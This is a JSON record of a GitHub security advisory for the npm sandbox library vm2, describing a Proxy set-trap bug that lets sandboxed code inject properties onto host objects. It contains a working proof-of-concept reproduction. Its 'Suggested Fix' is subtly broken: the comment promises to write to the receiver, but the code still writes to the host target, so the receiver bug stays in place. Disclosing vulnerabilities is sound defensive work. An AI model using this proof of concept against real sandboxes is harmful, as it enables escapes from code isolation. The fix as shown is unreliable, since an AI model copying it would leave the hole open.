{"id":"GHSA-c4cf-2hgv-2qv6","revision":"d82695931f9d491b9ad84210c61a63e9","records":[{"revision":"d82695931f9d491b9ad84210c61a63e9","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-c4cf-2hgv-2qv6","aliases":["CVE-2026-47209"],"title":"vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    // ...\n    try {\n        value = otherFromThis(value);\n        return otherReflectSet(object, key, value) === true;\n        // BUG: 'receiver' is never used.\n        // Should check if receiver !== proxy and handle accordingly.\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = 'attacker-value';\n// hostObj now has 'injectedProp' on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n    return Promise.resolve('attacker-controlled');\n};\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, 'ok'); };\nvm.setGlobal('hostFn', hostFn);\n\nvm.run(`\n  const kCustom = Symbol.for('nodejs.util.promisify.custom');\n  const child = Object.create(hostFn);\n  child[kCustom] = function() {\n    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\n  };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified('test').then(r => console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {\n        return this.setPrototypeOf(target, value);\n    }\n    if (key === 'constructor' && thisArrayIsArray(object)) {\n        thisReflectSet(target, key, value);\n        return true;\n    }\n    try {\n        value = otherFromThis(value);\n        // When receiver is not the proxy itself, set on receiver (this-realm)\n        // instead of the host target to preserve prototype-chain semantics.\n        return otherReflectSet(object, key, value) === true;\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```","state":0,"publishedAt":"2026-05-29T17:49:18+00:00","modifiedAt":"2026-06-12T19:45:09.8435419+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6","https://nvd.nist.gov/vuln/detail/CVE-2026-47209","https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.4"],"sourceUrl":"https://github.com/advisories/GHSA-c4cf-2hgv-2qv6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c4cf-2hgv-2qv6","identifiers":["GHSA-c4cf-2hgv-2qv6","CVE-2026-47209"]},"retained":false,"historicalAffected":[]}],"coverage":[]}